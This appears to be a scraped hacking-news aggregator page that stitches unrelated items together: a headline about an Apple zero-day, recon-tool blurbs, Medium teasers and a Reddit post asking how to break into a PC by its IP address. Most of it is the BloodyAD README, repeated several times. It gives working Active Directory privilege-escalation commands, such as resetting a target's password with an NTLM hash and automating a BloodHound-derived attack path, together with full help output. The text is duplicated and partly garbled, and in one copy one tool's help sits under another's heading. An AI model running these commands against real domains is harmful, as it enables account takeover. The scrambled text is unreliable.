Black Hat Ethical Hacking
Apple fixes new zero-day exploited to hack macOS, iOS devices
Apple fixes new zero-day exploited to hack macOS, iOS devices
Black Hat Ethical Hacking
Apple fixes new zero-day exploited to hack macOS, iOS devices | Black Hat Ethical Hacking
Apple has released security updates to fix two zero-day vulnerabilities, with one publicly disclosed and the other exploited in the wild by attackers to hack into iPhones and Macs.
Black Hat Ethical Hacking
Recon Tool: WitnessMe
Recon Tool: WitnessMe
Black Hat Ethical Hacking
Recon Tool: WitnessMe | Black Hat Ethical Hacking
WitnessMe is primarily a Web Inventory tool inspired by Eyewitness. Its also written to be extensible allowing you to create custom functionality that can take advantage of the headless browser it drives in the back-end.
Tìm những bug trên Symfony
Cre:How I was able to find multiple vulnerabilities of a Symfony Web Framework web application | by Abid Ahmad | Jan, 2022 | MediumContinue reading on Medium »
Read more...
Cre:How I was able to find multiple vulnerabilities of a Symfony Web Framework web application | by Abid Ahmad | Jan, 2022 | MediumContinue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
BloodyAD - An Active Directory Privilege Escalation Framework
https://blogger.googleusercontent.com/img/a/AVvXsEiOul_KCkh9ENHvZadXvKqVY2grj6MP9ngEozIq4I-y_afr5xhRsEQsfOp5ad2OFlwFhqKOZdYO046qLVNBW3fpullLfPqqW9CMQb-yPIBptr8BfWHydGHM2AVY9kBv2dSSCpQgi3H8rIXYkGK9EO8zdFfIzdVwOZEaCgYoEBgcO6jIBRyfXkpncoxM=w640-h318 BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using
This framework supports NTLM (with password or NTLM hashes) and Kerberos authentication and binds to LDAP/LDAPS/SAMR services of a domain controller to obtain AD privesc.
It is designed to be used transparently with a SOCKS proxy. bloodyADDescriptionThis tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc. RequirementsThe following are required:
* Python 3
* DSinternals
* Impacket
* Ldap3 Use the requirements.txt for your virtual environment:
BloodyAD - An Active Directory Privilege Escalation Framework
https://blogger.googleusercontent.com/img/a/AVvXsEiOul_KCkh9ENHvZadXvKqVY2grj6MP9ngEozIq4I-y_afr5xhRsEQsfOp5ad2OFlwFhqKOZdYO046qLVNBW3fpullLfPqqW9CMQb-yPIBptr8BfWHydGHM2AVY9kBv2dSSCpQgi3H8rIXYkGK9EO8zdFfIzdVwOZEaCgYoEBgcO6jIBRyfXkpncoxM=w640-h318 BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using
bloodyAD.pyor automatically by combining pathgen.pyand autobloody.py.This framework supports NTLM (with password or NTLM hashes) and Kerberos authentication and binds to LDAP/LDAPS/SAMR services of a domain controller to obtain AD privesc.
It is designed to be used transparently with a SOCKS proxy. bloodyADDescriptionThis tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc. RequirementsThe following are required:
* Python 3
* DSinternals
* Impacket
* Ldap3 Use the requirements.txt for your virtual environment:
pip3 install -r requirements.txtUsageSimple usage: python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword mytarget 'Password123!'List of all available functions: [bloodyAD]$ python bloodyAD.py -h
usage: bloodyAD.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] [--host HOST] {getGroupMembers,
getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup, addForeignObjectToGroup,
delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync, delDomainSync, addRbcd, delRbcd,
addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag, setAccountDisableFlag}
...
Active Directory Privilege Escalation Framework
Main options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASS WORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}
Use LDAP over TLS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
Commands:
{getGroupMembers, getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup,
addForeignObjectToGroup, delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync,
delDomainSync, addRbcd, delRbcd, addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag,
setAccountDisableFlag} Function to callHelp text to use a specific function: [bloodyAD]$ python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword -h
usage:
Change the target password without knowing the old one using LDAPS or RPC
Args:
identity: sAMAccountName, DN, GUID or SID of the target (You must have write permission on it)
new_pass: new password for the target
[-h] [func_args ...]
positional arguments:
func_args
optional arguments:
-h, --help show this help message and exitHow it worksbloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases. autobloodyDescriptionThis tool automate the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists. The automation i[...]
Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! BloodyAD - An Active Directory Privilege Escalation Framework https://blogger.googleusercontent.com/img/a/AVvXsEiOul_KCkh9ENHvZadXvKqVY2grj6MP9ngEozIq4I-y_afr5xhRsEQsfOp5ad2OFlwFhqKOZdYO046qLVNBW3fpullLfPqqW9CMQb-yPIBptr8BfWHydG…
s split in two parts:
*
*
* Python 3
* DSinternals
* Impacket
* Ldap3
* BloodHound
* Neo4j python driver
* Neo4j with the GDS library How to use itFirst data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running.
Simple usage:
Once a path is generated and stored as a json file,
*
pathgen.pyto find the optimal path for privesc using bloodhound data and neo4j queries.*
autobloody.pyto execute the path found with pathgen.pyRequirementsThe following are required:* Python 3
* DSinternals
* Impacket
* Ldap3
* BloodHound
* Neo4j python driver
* Neo4j with the GDS library How to use itFirst data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running.
Simple usage:
pathgen.py -dp neo4jPass -ds 'OWNED_USER@ATTACK.LOCAL' -dt 'TARGET_USER@ATTACK.LOCAL' && autobloody.py -d ATTACK -u 'owned_user' -p 'owned_user_pass' --host 172.16.1.15Full help for pathgen.py: $ python pathgen.py -h
usage: pathgen.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-f FILEPATH]
Active Directory Privilege Escalation Framework
optional arguments:
-h, --help show this help message and exit
--dburi DBURI The host neo4j is running on. Default: localhost.
-du DBUSER, --dbuser DBUSER
Neo4j username to use
-dp DBPASSWORD, --dbpassword DBPASSWORD
Neo4j password to use
-ds DBSOURCE, --dbsource DBSOURCE
Label of the source node
-dt DBTARGET, --dbtarget DBTARGET
Label of the target node
-f FILEPATH, --filepath FILEPATH
File path for the graph path file (default is path.json)Full help for autobloody.py: $ python autobloody.py -h
usage: autobloody.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] --host HOST [--path PATH]
Active Directory Privilege Escalation Framework
optional arguments:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}
Use LDAP over TLS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
--path PATH Path file (to generate with pathgen.py) How it worksFirst pathgen.pygenerates a privesc path using the Dijkstra's algorithm implemented into the Neo4j's GDS library. The Dijkstra's algorithm allows to solve the shortest path problem on a weighted graph. By default the edges created by bloodhound don't have weight but a type (e.g MemberOf, WriteOwner). A weight is then added to each edge accordingly to the type of the edge and the type of the node reached (e.g user,group,domain).Once a path is generated and stored as a json file,
autobloody.pywill connect to the DC and execute the path and clean what is reversible (everything except password change). Download bloodyAD
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Revealing the Importance of White Hat Hacker In Information Security
https://cdn-images-1.medium.com/max/2100/0*7K9PBSfX8u3hO9wp.jpg
In a world where computing has become ubiquitous, and technology drives our lives, information security has become one of the biggest…
Continue reading on Medium »
Revealing the Importance of White Hat Hacker In Information Security
https://cdn-images-1.medium.com/max/2100/0*7K9PBSfX8u3hO9wp.jpg
In a world where computing has become ubiquitous, and technology drives our lives, information security has become one of the biggest…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
TryHackMe: Internal walkthrough
https://cdn-images-1.medium.com/max/1024/1*N6p4ayaDxmfGo0tg-iSb3A.png
Today we go through Internal, a WordPress site. As per the instructions we are supposed to do a full-on penetration test in this case a…
Continue reading on Medium »
TryHackMe: Internal walkthrough
https://cdn-images-1.medium.com/max/1024/1*N6p4ayaDxmfGo0tg-iSb3A.png
Today we go through Internal, a WordPress site. As per the instructions we are supposed to do a full-on penetration test in this case a…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Top 10 Types of Security Threats For Windows Users
https://cdn-images-1.medium.com/max/600/0*UsHnDuTVvxF9DLgZ
Windows is an operating system designed by Microsoft. Windows comes preloaded on most new personal computers (PCs), which helps to make it…
Continue reading on Medium »
Top 10 Types of Security Threats For Windows Users
https://cdn-images-1.medium.com/max/600/0*UsHnDuTVvxF9DLgZ
Windows is an operating system designed by Microsoft. Windows comes preloaded on most new personal computers (PCs), which helps to make it…
Continue reading on Medium »
How I was able to get HOF in one of the world’s leading hotel brands by 30 mins of googling.
Hey Folks! Yash Dharmani (H1GH4T) here, Hope you’re all doing good.Continue reading on Medium »
Read more...
Hey Folks! Yash Dharmani (H1GH4T) here, Hope you’re all doing good.Continue reading on Medium »
Read more...
hacking: security in practice
IP address
Guys how can I access to another pc without touching it?, I have an IP address, I just don’t know how to use it
submitted by /u/camavela10
[link] [comments]
IP address
Guys how can I access to another pc without touching it?, I have an IP address, I just don’t know how to use it
submitted by /u/camavela10
[link] [comments]
reddit
IP address
Guys how can I access to another pc without touching it?, I have an IP address, I just don’t know how to use it
BloodyAD - An Active Directory Privilege Escalation Framework
http://www.kitploit.com/2022/01/bloodyad-active-directory-privilege.html
http://www.kitploit.com/2022/01/bloodyad-active-directory-privilege.html
bloodyAD Description This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc. Requirements The following are required: Python 3 DSinternals Impacket Ldap3 Use the requirements.txt for your virtual environment: pip3 install -r requirements.txt Usage Simple usage: python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword mytarget 'Password123!' List of all available functions: [bloodyAD]$ python bloodyAD.py -h
usage: bloodyAD.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] [--host HOST] {getGroupMembers,
getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup, addForeignObjectToGroup,
delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync, delDomainSync, addRbcd, delRbcd,
addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag, setAccountDisableFlag}
...
Active Directory Privilege Escalation Framework
Main options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASS WORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}
Use LDAP over TLS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
Commands:
{getGroupMembers, getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup,
addForeignObjectToGroup, delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync,
delDomainSync, addRbcd, delRbcd, addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag,
setAccountDisableFlag} Function to call Help text to use a specific function: [bloodyAD]$ python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword -h
usage:
Change the target password without knowing the old one using LDAPS or RPC
Args:
identity: sAMAccountName, DN, GUID or SID of the target (You must have write permission on it)
new_pass: new password for the target
[-h] [func_args ...]
positional arguments:
func_args
optional arguments:
-h, --help show this help message and exit How it works bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases. autobloody Description This tool automate the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists. The automation (https://www.kitploit.com/search/label/Automation) is split in two parts: pathgen.py to find the optimal path for privesc using bloodhound data and neo4j queries. autobloody.py to execute the path found with pathgen.py Requirements The following are required: Python 3 DSinternals Impacket Ldap3 BloodHound Neo4j python driver Neo4j with the GDS library (https://neo4j.com/docs/graph-data-science/current/installation/) How to use it First data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running. Simple usage: pathgen.py -dp neo4jPass -ds 'OWNED_USER@ATTACK.LOCAL' -dt 'TARGET_USER@ATTACK.LOCAL' && autobloody.py -d ATTACK -u 'owned_user' -p 'owned_user_pass' --host 172.16.1.15 Full help for pathgen.py: $ python pathgen.py -h
usage: bloodyAD.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] [--host HOST] {getGroupMembers,
getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup, addForeignObjectToGroup,
delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync, delDomainSync, addRbcd, delRbcd,
addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag, setAccountDisableFlag}
...
Active Directory Privilege Escalation Framework
Main options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASS WORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}
Use LDAP over TLS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
Commands:
{getGroupMembers, getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup,
addForeignObjectToGroup, delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync,
delDomainSync, addRbcd, delRbcd, addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag,
setAccountDisableFlag} Function to call Help text to use a specific function: [bloodyAD]$ python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword -h
usage:
Change the target password without knowing the old one using LDAPS or RPC
Args:
identity: sAMAccountName, DN, GUID or SID of the target (You must have write permission on it)
new_pass: new password for the target
[-h] [func_args ...]
positional arguments:
func_args
optional arguments:
-h, --help show this help message and exit How it works bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases. autobloody Description This tool automate the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists. The automation (https://www.kitploit.com/search/label/Automation) is split in two parts: pathgen.py to find the optimal path for privesc using bloodhound data and neo4j queries. autobloody.py to execute the path found with pathgen.py Requirements The following are required: Python 3 DSinternals Impacket Ldap3 BloodHound Neo4j python driver Neo4j with the GDS library (https://neo4j.com/docs/graph-data-science/current/installation/) How to use it First data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running. Simple usage: pathgen.py -dp neo4jPass -ds 'OWNED_USER@ATTACK.LOCAL' -dt 'TARGET_USER@ATTACK.LOCAL' && autobloody.py -d ATTACK -u 'owned_user' -p 'owned_user_pass' --host 172.16.1.15 Full help for pathgen.py: $ python pathgen.py -h